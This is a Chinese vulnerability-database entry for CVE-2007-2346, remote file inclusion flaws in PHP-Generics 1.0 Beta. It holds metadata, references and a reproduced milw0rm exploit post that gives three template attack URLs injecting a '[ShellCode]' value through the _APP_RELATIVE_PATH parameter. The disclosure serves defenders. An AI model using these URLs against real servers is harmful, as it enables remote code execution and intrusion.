PHP-Generics '_App_Relative_Path‘参数 多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112636 漏洞类型 输入验证
发布时间 2007-04-05 更新时间 2007-04-30
CVE编号 CVE-2007-2346 CNNVD-ID CNNVD-200704-578
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3669
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-578
|漏洞详情
PHP-Generics存在多个PHP远程文件包含漏洞。远程攻击者可以借助提交到(1)include.php,(2)dbcommon/include.php和(3)exception/include.php的_APP_RELATIVE_PATH参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
--------------------------------------------------------
                 
                                           
                   php-generics 1.0 Remote File Inclusion Vulnerabilities
                 
                  --------------------------------------------------------


Software: php-generics 1.0Beta

Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/php-generics/php-generics-1.0.0-beta.zip
        http://sourceforge.net/projects/php-generics/

Bugfounder: bd0rk

Vulnerable files: include.php, /dbcommon/include.php, /exception/include.php

[+]Exploit 1: http://[target]/[directory]/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 2: http://[target]/[directory]/dbcommon/include.php?_APP_RELATIVE_PATH=[ShellCode]

[+]Exploit 3: http://[target]/[directory]/exception/include.php?_APP_RELATIVE_PATH=[ShellCode]

Problem: $_APP_RELATIVE_PATH is not declared before include_once and no configfile is aviable

Greetings: str0ke, TheJT, HaSSPappeL ;-)

Website1: www.soh-crew.it.tt

Website2: www.hackschool.dl.am

#The 18 years old, german Hacker bd0rk

# milw0rm.com [2007-04-05]
|参考资料

来源:BID
名称:23328
链接:http://www.securityfocus.com/bid/23328
来源:MILW0RM
名称:3669
链接:http://www.milw0rm.com/exploits/3669
来源:VUPEN
名称:ADV-2007-1280
链接:http://www.frsirt.com/english/advisories/2007/1280
来源:OSVDB
名称:35605
链接:http://osvdb.org/35605
来源:OSVDB
名称:35604
链接:http://osvdb.org/35604
来源:OSVDB
名称:35603
链接:http://osvdb.org/35603